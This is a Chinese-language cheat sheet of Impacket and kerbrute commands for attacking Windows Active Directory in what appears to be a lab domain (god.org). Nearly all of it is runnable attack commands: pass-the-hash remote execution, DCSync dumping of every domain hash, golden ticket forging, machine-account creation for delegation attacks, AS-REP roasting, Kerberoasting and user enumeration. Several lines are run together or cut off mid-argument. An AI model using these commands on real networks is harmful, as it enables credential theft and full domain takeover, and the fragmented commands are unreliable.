proxychains -q python3 atexec.py administrator@192.168.52.143 whoami -hashes aad3b435b5142)域环境 # 使用明文密码
proxychains -q python3 atexec.py god.org/liu:123.com@192.168.52.143 whoami
# 使用密码Hash
proxychains -q python3 atexec.py god.org/administrator@192.168.52.143 whoami -hashes aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceaedcomexec.py该脚本通过DCOM在目标主机上实现命令,并返回命令执行后的输出结果 # 使用明文密码
proxychains -q python3 dcomexec.py liu:123.com@192.168.52.143 whoami
# 使用密码Hash
proxychains -q python3 dcomexec.py administrator@192.168.52.143 whoami -hashes aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceaesmbclient.py可以向服务器上传文件 1)工作组 # 使用明文密码
proxychains -q python3 smbclient.py administrator:P@ss1234@192.168.52.143
# 使用密码hash
proxychains -q python3 smbclient.py administrator@192.168.52.143 -hashes aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae
# 连接成功之后执行的命令
info # 查看信息
shares # 查看开启的共享
use xx # 指定使用的共享
ls
cd
put xx # 上传文件
get xx # 下载文件2)域环境 # 使用明文密码
proxychains -q python3 smbclient.py god.org/administrator:P@ss1234@192.168.52.143
# 使用密码hash
proxychains -q python3 smbclient.py god.org/administrator@192.168.52.143 -hashes aad3b435获取域内所有用户的Hash(secretdump.py)该脚本是利用DCSync功能导出域内用户的Hash,需要连接的账户和密码具有DCSync权限 # 获取域内所有的用户hash
proxychains -q impacket-secretsdump god.org/administrator:P@ss1234@192.168.52.138 -just-dc
# 使用卷影复制服务导出域内所有hash
proxychains -q impacket-secretsdump god.org/administrator:P@ss1234@192.168.52.138 -use-vss
# 获取域内指定krbtgt用户的hash
proxychains -q impacket-secretsdump god.org/administrator:P@ss1234@192.168.52.138 -just-dc-user krbtgt
# 如果当前导入了管理员的票据,则可以不需要密码直接导出Hash
secretsdump.exe -k -no-pass owa.god.org -dc-ip 192.168.52.138 -just-dc-user administrator
# 如果是域林,则指定用户需要加域前缀
proxychains -q impacket-secretsdump god.org/administrator:P@ss1234@192.168.52.138 -just-dc-us生成黄金票据需要目标域的krbtgt 目标域的SID # 生成黄金票据
ticketer.exe -domain-sid S-1-5-21-2952760202-1353902439-2381784089 -nthash 58e91a5ac358d86513ab224312314061 -domain god.org administrator
# 导入票据
set KRB5CCNAME=C:\Users\lzx\Desktop\administrator.ccache
# 导出administrator用户的hash
secretsdump.exe -k -no-pass administrator@owa.god.org -dc-ip 192.168.52.138 -just-dc-user adminis在导出hash的时候有的机器会出现如下错误这是因为编码错误 解决报错可以每次打开命令行都用chcp 936来更换当前代码页。 请求TGT(getTGT.py)需要域用户名、密码/hash/AESKey 生成具有指定用户权限的.ccache格式的TGT。生成的TGT和由于下一步请求ST。 # 申请TGT,如果用户密码含有@ 则只接受输入
getTGT.exe god.org/administrator@192.168.52.138 -dc-ip 192.168.52.138 -debug请求ST(getST.py)# 提供账户和密码请求指定SPN服务的票据
getST.exe -dc-ip 192.168.52.138 -spn cifs/owa.god.org god.org/administrator:P@ss1234
# 导入票据
set KRB5CCNAME=C:\Users\lzx\Desktop\administrator.ccache
# 访问该服务
smbexec.exe -k -no-pass owa.god.org使用TGT生成的票据请求ST # 导入上一步请求的TGT票据
set KRB5CCNAME=C:\Users\lzx\Desktop\administrator@192.168.52.138.ccache
# 请求指定SPN的ST
getST.exe -k -no-pass -dc-ip 192.168.52.138 -spn cifs/owa.god.org god.org/administrator@192.168.52.138
# 导入票据
set KRB5CCNAME=C:\Users\lzx\Desktop\administrator@192.168.52.138.ccache
# 访问指定服务
smbexec.exe -k -no-pass owa.god.org获取域的SID(lookupsid.py)如果获得了域内任意一个用户的账户和密码,则可以利用此脚本执行如下命令获得该域的SID值 lookupsid.exe god.org/xuan:123.com@192.168.52.138 -domain-sids枚举域内用户(samrdump.py)该脚本通过SAMR协议枚举除域内所有用户,使用时需要一个有效的域用户 samrdump.exe god.org/liu:123.com@192.168.52.138 -csv增加机器账户(addcomputer.py)在进行基于资源的约束性委派攻击时,攻击者往往需要一个机器账户进行控制,可以使用该脚本远程连接域控创建一个机器账户,使用时需要一个有效的域用户,有两种方式可以创建,一种是SAMR协议,另一种是LDAPS协议 使用SAMR协议远程创建一个机器账户machine$,密码为123.com addcomputer.exe -computer-name 'machine$' -computer-pass '123.com' -dc-ip 192.168.52.138 'god.org/liu:123.com' -method SAMR -debug
addcomputer.exe -computer-name 'machine$' -computer-pass '123.com' -dc-ip 192.168.52.138 'god.org/liu:123.com' -method LDAPS -debug
# 修改密码
addcomputer.exe -computer-name 'machine$' -computer-pass '123.com' -dc-ip 192.168.52.138 'god.org/liu:123.com' -method LDAPS -debug -no-add使用SAMR协议创建的机器用户没有SPN,使用LDAPS协议创建的 机器账户具有SPN AS-REP Roasting攻击(GetNPUsers.py)可以自动获取指定users.txt文件中的用户是否设置了不需要Kerberos预身份验证属性,并获取设置了该属性的账户的Hash加密的Login Session Key GetNPUsers.exe -dc-ip 192.168.52.138 -userfile users.txt -format john god.org/Kerberoasting攻击(GetUserSPNs.py)GetUserSPNs.py可以在域外查询指定域的SPN。需要提供域账户和密码 GetUsersSPNs.exe -dc-ip 192.168.52.138 god.org/liu:123.com
# 请求注册于用户下的所有SPN的ST,并以hashcat能破解的格式保存在hash.txt
GetUsersSPNs.exe -request -dc-ip 192.168.52.138 god.org/liu:123.com -outputfile hash.txt
# # 请求注册于指定用户下的SPN的ST,并以hashcat能破解的格式保存在hash.txt
GetUsersSPNs.exe -request -dc-ip 192.168.52.138 god.org/liu:123.com -outputfile hash.txt -request-user administrator票据转换(ticketConverter.py)将.ccache和.kirbi格式的票据进行相互转化 python3 ticketConverter.py administrator.ccache administrator.kirbi
python3 ticketConverter.py administrator.kirbi administrator.ccache增加、删除和查询SPN(addspn.py)该脚本用于增加、删除SPN。但是增加SPN需要域管理员权限,而删除SPN只需要对目标属性有修改权限即可 # 查询目标SPN,需要一个spn参数,可以是不存在的spn
python3 addspn.py -u 'god.org\liu' -p '123.com' -t 'machine$' -s aa/aa -q 192.168.52.138
# 删除目标指定SPN,需要提供一个spn参数,必须是存在的spn
python3 addspn.py -u 'god.org\liu' -p '123.com' -t 'machine$' -s HOST/machine.god.org -r 192.168.52.138
# 普通域用户五大增加SPN,域管理员才有权限增加SPN
python3 addspn.py -u 'god.org\liu' -p '123.com' -t 'machine$' -s test/test -a 192.168.52.138
# 域管理员增加SPN
python3 addspn.py -u 'god.org\administrator' -p 'P@ss1234' -t 'machine$' -s test/test -a 192.168.52.138Kerbrutekerbrute_windows_amd64.exe userenum --dc 192.168.52.138 -d god.org user.txt参数含义
|